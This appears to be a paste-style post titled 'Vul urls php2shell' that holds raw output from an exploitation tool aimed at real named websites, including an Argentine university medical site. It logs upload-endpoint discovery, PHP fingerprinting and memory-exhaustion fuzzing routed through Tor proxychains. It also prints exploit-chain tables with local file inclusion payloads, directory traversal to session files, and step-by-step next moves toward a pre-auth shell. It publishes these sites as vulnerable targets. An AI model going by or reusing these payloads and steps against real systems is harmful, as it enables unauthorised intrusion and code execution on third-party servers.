1 day ago2 views

Vul urls php2shell by H00pS

H00pS

exploit Php2shell

[DISCOVER] http://conc.com.ar -> http://conc.com.ar/upload.php (field=file, source=wordlist, HTTP

200)

Upload handler http://conc.com.ar/upload.php field=file

Core probe started http://conc.com.ar/upload.php

PHP fingerprint: PHP/5.5.30 patch=eol-vulnerable

SAPI profile: mod_php confidence=1.10 server=Apache

hints: Apache + PHP X-Powered-By (mod_php likely)

Core POST probe http://conc.com.ar/upload.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/upload.php

events @ http://conc.com.ar/upload.php: [OOM]timing-latency-spike

[CORE] http://conc.com.ar/upload.php cve=CVE-2026-109618

signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly sid=p2s2ee645c7161f4023 pad=65536

Core POST probe http://conc.com.ar/

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/

events @ http://conc.com.ar/: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/index.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/index.php

events @ http://conc.com.ar/index.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/login.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/login.php

events @ http://conc.com.ar/login.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/wp-login.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/wp-login.php

events @ http://conc.com.ar/wp-login.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/admin/index.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/admin/index.php

events @ http://conc.com.ar/admin/index.php: [OOM]timing-latency-spike

Core exploit chain planner

┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓

┃ Stage ┃ Detail ┃

┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩

│ CVE │ CVE-2026-109618 │

│ PHP │ PHP/5.5.30 │

│ SAPI │ mod_php │

│ Patch │ eol-vulnerable │

│ Endpoint │ http://conc.com.ar/upload.php │

│ PHPSESSID │ p2s2ee645c7161f4023 │

│ OOM threshold │ 262144 bytes (~256KB) │

│ Stale/UAF │ likely-oom-window │

│ Serialize │ mode=php susceptible=False │

│ Padding │ 65536 bytes (align=0) │

│ Last latency │ 690 ms │

│ Timing │ OOM-like spike │

│ Session files │ /var/lib/php/sessions/sess_p2s2ee645c7161f4023 │

│ │ /var/lib/php/session/sess_p2s2ee645c7161f4023 │

│ │ /tmp/sess_p2s2ee645c7161f4023 │

│ │ /tmp/php_sessions/sess_p2s2ee645c7161f4023 │

│ FPM sockets │ /run/php/php-fpm.sock │

│ │ /run/php/php8.5-fpm.sock │

│ │ /run/php/php8.4-fpm.sock │

│ │ /run/php/php8.3-fpm.sock │

│ LFI hints │ ?file=/proc/self/fd/N │

│ │ ?page=php://filter/convert.base64-encode/resource= │

│ │ ?lang=../../../../var/lib/php/sessions/sess_p2s2ee645c7161f4023 │

└───────────────┴─────────────────────────────────────────────────────────────────┘

╭─────────────────────────────────────────── Next steps ────────────────────────────────────────────╮

│ • oom@262144: hit signals= latency=2112ms │

│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │

│ • 2) LFI/session include targets: sess_p2s2ee645c7161f4023 under common save_path dirs. │

│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │

│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │

│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │

│ multipart with --core-serialize-mode. │

╰───────────────────────────────────────────────────────────────────────────────────────────────────╯

Core pre-auth surface detected — chain planner printed above; see results TSV cve/patch_status

columns.

Hybrid check (core -> app) + exploit...

Core probe started http://conc.com.ar/upload.php

PHP fingerprint: PHP/5.5.30 patch=eol-vulnerable

SAPI profile: mod_php confidence=1.10 server=Apache

hints: Apache + PHP X-Powered-By (mod_php likely)

Core POST probe http://conc.com.ar/upload.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/upload.php

events @ http://conc.com.ar/upload.php: [OOM]timing-latency-spike

[CORE] http://conc.com.ar/upload.php cve=CVE-2026-109618

signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly sid=p2sa1c421297fc04fb5 pad=262144

Core POST probe http://conc.com.ar/

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/

events @ http://conc.com.ar/: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/index.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/index.php

events @ http://conc.com.ar/index.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/login.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/login.php

events @ http://conc.com.ar/login.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/wp-login.php

[proxychains] Dynamic chain ... 127.0.0.1:9050 ... conc.com.ar:80 ... OK

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/wp-login.php

events @ http://conc.com.ar/wp-login.php: [OOM]timing-latency-spike

Core POST probe http://conc.com.ar/admin/index.php

[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/admin/index.php

events @ http://conc.com.ar/admin/index.php: [OOM]timing-latency-spike

Core exploit chain planner

┃ Stage ┃ Detail ┃

│ CVE │ CVE-2026-109618 │

│ PHP │ PHP/5.5.30 │

│ SAPI │ mod_php │

│ Patch │ eol-vulnerable │

│ Endpoint │ http://conc.com.ar/upload.php │

│ PHPSESSID │ p2sa1c421297fc04fb5 │

│ OOM threshold │ 262144 bytes (~256KB) │

│ Stale/UAF │ likely-oom-window │

│ Serialize │ mode=php susceptible=False │

│ Padding │ 262144 bytes (align=0) │

│ Last latency │ 695 ms │

│ Timing │ OOM-like spike │

│ Session files │ /var/lib/php/sessions/sess_p2sa1c421297fc04fb5 │

│ │ /var/lib/php/session/sess_p2sa1c421297fc04fb5 │

│ │ /tmp/sess_p2sa1c421297fc04fb5 │

│ │ /tmp/php_sessions/sess_p2sa1c421297fc04fb5 │

│ FPM sockets │ /run/php/php-fpm.sock │

│ │ /run/php/php8.5-fpm.sock │

│ │ /run/php/php8.4-fpm.sock │

│ │ /run/php/php8.3-fpm.sock │

│ LFI hints │ ?file=/proc/self/fd/N │

│ │ ?page=php://filter/convert.base64-encode/resource= │

│ │ ?lang=../../../../var/lib/php/sessions/sess_p2sa1c421297fc04fb5 │

│ • oom@262144: hit signals= latency=2369ms │

│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │

│ • 2) LFI/session include targets: sess_p2sa1c421297fc04fb5 under common save_path dirs. │

│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │

│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │

│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │

│ multipart with --core-serialize-mode. │

╭───────────────────────────────────────── Core CVE engine ─────────────────────────────────────────╮

│ PHP core exploit surface │

│ │

│ Endpoint: http://conc.com.ar/upload.php │

│ Detail: sid=p2sa1c421297fc04fb5; cve=CVE-2026-109618; patch=eol-vulnerable; php=PHP/5.5.30; │

│ sapi=mod_php; oom=262144; stale=likely-oom-window; serialize_mode=php; serialize_sus=False; │

│ pad=262144; align=0; signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly; │

│ events=oom:timing-latency-spike │

│ │

│ Enable --core-chain with optional --lfi-url (FUZZ), --core-fpm-two-step, --core-timing, │

│ --core-heap-spray. │

Core exploit chain planner

┃ Stage ┃ Detail ┃

│ CVE │ CVE-2026-109618 │

│ PHP │ PHP/7.4.33 │

│ SAPI │ php-fpm │

│ Patch │ eol-vulnerable │

│ Endpoint │ http://medicina.mdp.edu.ar/ │

│ PHPSESSID │ p2sb5be0fd1555e4a58 │

│ OOM threshold │ 4194304 bytes (~4096KB) │

│ Stale/UAF │ none │

│ Serialize │ mode=php susceptible=False │

│ Padding │ 1048576 bytes (align=0) │

│ Last latency │ 26551 ms │

│ Timing │ OOM-like spike │

│ Session files │ /var/lib/php/sessions/sess_p2sb5be0fd1555e4a58 │

│ │ /var/lib/php/session/sess_p2sb5be0fd1555e4a58 │

│ │ /tmp/sess_p2sb5be0fd1555e4a58 │

│ │ /tmp/php_sessions/sess_p2sb5be0fd1555e4a58 │

│ FPM sockets │ /run/php/php-fpm.sock │

│ │ /run/php/php8.5-fpm.sock │

│ │ /run/php/php8.4-fpm.sock │

│ │ /run/php/php8.3-fpm.sock │

│ LFI hints │ ?file=/proc/self/fd/N │

│ │ ?page=php://filter/convert.base64-encode/resource= │

│ │ ?lang=../../../../var/lib/php/sessions/sess_p2sb5be0fd1555e4a58 │

│ • oom@262144: no hit (8995ms) │

│ • oom@1048576: no hit (11513ms) │

│ • oom@4194304: transport ConnectionError 26239ms │

│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │

│ • 2) LFI/session include targets: sess_p2sb5be0fd1555e4a58 under common save_path dirs. │

│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │

│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │

│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │

│ multipart with --core-serialize-mode. │

Core POST probe http://medicina.mdp.edu.ar/login.php

Core POST probe http://medicina.mdp.edu.ar/wp-login.php

[OOM-FUZZ] threshold ~4096KB (4194304 bytes) on http://medicina.mdp.edu.ar/wp-login.php

events @ http://medicina.mdp.edu.ar/wp-login.php: [OOM]timing-latency-spike

[CORE] http://medicina.mdp.edu.ar/wp-login.php cve=CVE-2026-109618

signals=vulnerable-php:PHP/7.4.33,timing-oom-anomaly sid=p2s4dd07a2584ba43e8 pad=4194304

Core POST probe http://medicina.mdp.edu.ar/admin/index.php

[OOM-FUZZ] threshold ~4096KB (4194304 bytes) on http://medicina.mdp.edu.ar/admin/index.php

Core exploit chain planner

┃ Stage ┃ Detail ┃

│ CVE │ CVE-2026-109618 │

│ PHP │ PHP/7.4.33 │

│ SAPI │ php-fpm │

│ Patch │ eol-vulnerable │

│ Endpoint │ http://medicina.mdp.edu.ar/wp-login.php │

│ PHPSESSID │ p2s4dd07a2584ba43e8 │

│ OOM threshold │ 4194304 bytes (~4096KB) │

│ Stale/UAF │ none │

│ Serialize │ mode=php susceptible=False │

│ Padding │ 4194304 bytes (align=0) │

│ Last latency │ 4957 ms │

│ Timing │ OOM-like spike │

│ Session files │ /var/lib/php/sessions/sess_p2s4dd07a2584ba43e8 │

│ │ /var/lib/php/session/sess_p2s4dd07a2584ba43e8 │

│ │ /tmp/sess_p2s4dd07a2584ba43e8 │

│ │ /tmp/php_sessions/sess_p2s4dd07a2584ba43e8 │

│ FPM sockets │ /run/php/php-fpm.sock │

│ │ /run/php/php8.5-fpm.sock │

│ │ /run/php/php8.4-fpm.sock │

│ │ /run/php/php8.3-fpm.sock │

│ LFI hints │ ?file=/proc/self/fd/N │

│ │ ?page=php://filter/convert.base64-encode/resource= │

│ │ ?lang=../../../../var/lib/php/sessions/sess_p2s4dd07a2584ba43e8 │

│ • oom@262144: no hit (3621ms) │

│ • oom@1048576: no hit (4640ms) │

│ • oom@4194304: hit signals= latency=18056ms │

│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │

│ • 2) LFI/session include targets: sess_p2s4dd07a2584ba43e8 under common save_path dirs. │

│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │

│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │

│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │

│ multipart with --core-serialize-mode. │

│ PHP core exploit surface │

│ │

│ Endpoint: http://medicina.mdp.edu.ar/wp-login.php │

│ Detail: sid=p2s4dd07a2584ba43e8; cve=CVE-2026-109618; patch=eol-vulnerable; php=PHP/7.4.33; │

│ sapi=php-fpm; oom=4194304; stale=none; serialize_mode=php; serialize_sus=False; pad=4194304; │

│ align=0; signals=vulnerable-php:PHP/7.4.33,timing-oom-anomaly; events=oom:timing-latency-spike │

│ │

│ Enable --core-chain with optional --lfi-url (FUZZ), --core-fpm-two-step, --core-timing, │

│ --core-heap-spray. │